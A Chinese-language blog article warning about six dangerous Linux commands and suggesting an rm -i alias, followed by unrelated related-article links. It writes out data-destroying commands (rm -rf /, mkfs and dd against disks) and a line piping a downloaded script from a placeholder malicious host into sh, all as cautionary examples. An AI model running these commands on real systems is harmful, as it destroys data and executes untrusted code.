Linux操作系统上要慎用的6个命令及防范方法

  基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的知道自己想干啥)。各大互联网公司因为在后台执行命令不慎导致数据库被删除和服务宕机的事情屡见不鲜,本文就给大家介绍一下Linux下比较危险的命令,引以为戒,在使用的时候一定要万分小心!

  rm -rf命令

  把这个命令放到第一个,是因为它有不少故事,你懂的。rm -rf命令是删除整个文件夹最快的方式之一。它可以删除允许范围内的任何文件和文件夹,稍有不慎就可能导致不可恢复的系统崩溃。这里面涉及2个选项,都是非常方便,但又非常恐怖的。

  -r 该选项使得rm命令递归的删除文件夹,甚至是空的文件夹。

  -f 该选项使得rm命令能不经过询问直接删除‘只读文件’。

  rm -rf / :强制删除根目录下所有东东。

  rm -rf *: 强制删除当前目录的所有文件。

  rm -rf . :强制删除当前文件夹及其子文件夹。

  这些命令都是非常强悍的,因此在使用的时候一定要万分的消息。另外,在使用rm命令且带有rf选项时一定要慎用正则表达式,稍有错误就造成不可挽回的所示。

  mv 文件夹 /dev/null

  mv命令其实跟rm命令有着相同的危险程度。这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被丢弃,然后返回写操作成功。

  # mv /mnt/data/* /dev/null

  上列命令会将data目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

  命令 > /dev/sda

  标题命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

  mkfs.ext3 /dev/sda

  与上一个命令一样,这个命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的,没有任何数据,直接让你的系统达到不可恢复的阶段。当然,该命令在执行的时候回检查磁盘是否已经格式化,但不能保证那个愣头愣脑的兄弟强制执行。这里只是个例子,除了ext3,任何格式化的命令在使用的时候都要小心,小心,小心!

  dd if=/dev/random of=/dev/sdb

  dd命令也是一个比较危险的命令,如标题命令令会向块设备sdb写入随机的垃圾文件从而擦除该磁盘上的数据。如果该盘是数据盘,将会导致磁盘文件系统的损坏,进而丢失上面所有数据;如果是系统盘将直接导致系统陷入混乱和不可恢复的状态。

  wget http://malicious_source -O- | sh

  标题命令会从一个网站下载一个脚本并执行,有时候你并不知道这个脚本真的在做什么(这就是开头说的有时候你不确定你要做什么)。wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。如果这个脚本是恶意程序,则会产生不可预料的后果。

  你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

  危险命令的防范

  我们没法保证任何人都了解这些命令的危险性,因此做到未雨绸缪很重要。以rm命令为例,我们可以通过别名的方式避免登录本无服务器的任何人误用。具体方法是在“.bashrc”文件对‘rm’命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。具体如图2所示,这样在该服务器上执行rm 其实是执行rm -i。

  图2 设置命令的别名

  最后嘱咐大家,一定要慎用这些命令,有其在生产环境。

Linux操作系统上要慎用的6个命令及防范方法的更多相关文章

  1. 如何将.Net Core应用程序部署在Linux操作系统上运行

    .Net Core简介 跨平台: 可以在 Windows.macOS 和 Linux 操作系统上运行. 跨体系结构保持一致: 在多个体系结构(包括 x64.x86 和 ARM)上以相同的行为运行代码. ...

  2. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方:/var/log/nginx/access_iqueendress.com.log/var/log/nginx/access_m.iq ...

  3. 通过轻量级终端工具Tera Term远程向linux操作系统上传war文件

    通过轻量级终端工具Tera Term远程向linux操作系统上传war文件 1.打开Tera Term终端工具,并输入正确的远程机器的IP地址以及端口号: 2.输入正确的用户名和密码进入到linux操 ...

  4. Hadoop Shell命令(基于linux操作系统上传下载文件到hdfs文件系统基本命令学习)

    Apache-->hadoop的官网文档命令学习:http://hadoop.apache.org/docs/r1.0.4/cn/hdfs_shell.html FS Shell 调用文件系统( ...

  5. 【Linux 操作系统】Ubuntu 基础操作 基础命令 热键 man手册使用 关机 重启等命令使用

    . : 关机, 如果将Linux默认运行等级设置为0, 系统将无法启动; -- : 多用户模式, 允许使用网络文件系统, 一般不使用图形界面登陆就是这种模式; -- : 多用户图形界面模式, 该模式下 ...

  6. [教程]K8Cscan调用外部程序(Win/Linux批量上控/执行多条命令/保存结果)

    0x000 调用原理 Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件 编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言) 由于考虑到很多人不会编程或会编程又急用无法短时间转 ...

  7. 在linux操作系统上进行简单的C语言源码的gcc编译实验

    尝试在linux上用gcc 而非封装完好的codeblocks,vs等ide 来编译c和cpp源程序 首先查看我的gcc版本,我的是VM centos 自带的,没有的话得自行安装,安装上gcc就可以在 ...

  8. 在Mac/Linux/Windows上编译corefx遇到的问题及解决方法

    这两天尝试在Mac/Linux/Windows三大平台上编译.NET跨平台三驾马车(coreclr/corefx/dnx)之一的corefx(.NET Core Framework),结果三个平台的编 ...

  9. Linux操作系统上用数据泵导库

    1.在Linux上 创建物理目录dp_dir,存放数据库.dmp文件: 用root用户登录,切换到oracle用户,用oralce身份创建物理目录如下: [root@server36 oracle]# ...

随机推荐

  1. Chapter 5 Blood Type——2

    The rest of the morning passed in a blur. 早上剩下的时间都在模糊中度过了. It was difficult to believe that I hadn't ...

  2. spring boot MySQL极简封装

    摒弃繁琐配置,采用极简方式,源码简单,调用丰富,无污染,易携带,工作量减半,java操作mysql居家旅行升职加薪登上人生巅峰迎娶白富美必备object! 项目地址:https://gitee.com ...

  3. Linux 中Ctrl + s 的作用

    在Linux下使用vim编辑程序时,常常会习惯性的按下Ctrl + s保存文件内容.殊不知,这一按不紧,整个终端再也不响应了. 事实上Ctrl + s在终端下是有特殊用途的,那就是暂停该终端,这个功能 ...

  4. leetcode — pascals-triangle

    import java.util.ArrayList; import java.util.Arrays; import java.util.List; /** * Source : https://o ...

  5. leetcode — remove-duplicates-from-sorted-list

    /** * Source : https://oj.leetcode.com/problems/remove-duplicates-from-sorted-list/ * * * Given a so ...

  6. JaveWeb学习之Servlet(二):ServletConfig和ServletContext

    原文同步发表至个人博客[夜月归途] 原文链接:http://www.guitu18.com/se/java/2018-07-26/20.html 作者:夜月归途 出处:http://www.guitu ...

  7. vue实用组件——圆环百分比进度条

    因为所在公司临近年底突然宣布Game Over,导致我等小码农又要踏上一个艰辛的求职道路了.才眨眼功夫,年就过完了,快乐的时光总是很匆忙呀. 开年的第一个面试,面试官问我会不会自己写一个圆环进图圈,这 ...

  8. 第27章 联合网关 - Identity Server 4 中文文档(v1.0.0)

    通用架构是所谓的联合网关.在此方法中,IdentityServer充当一个或多个外部身份提供商的网关. 该架构具有以下优点: 您的应用程序只需要了解一个令牌服务(网关),并且屏蔽了有关连接到外部提供程 ...

  9. [MySQL] 测试where group by order by的索引问题

    1. select * from test  where a=xx group by b order by c   如何加索引 CREATE TABLE `index_test` ( `id` int ...

  10. Elasticsearch必备技能之索引迁移

    将ES中的索引拷贝到其他ES中,是不是很重要呢? 长话短说,推荐一个工具: 一.elasticsearch-dump 安装: #yum install epel-release #yum instal ...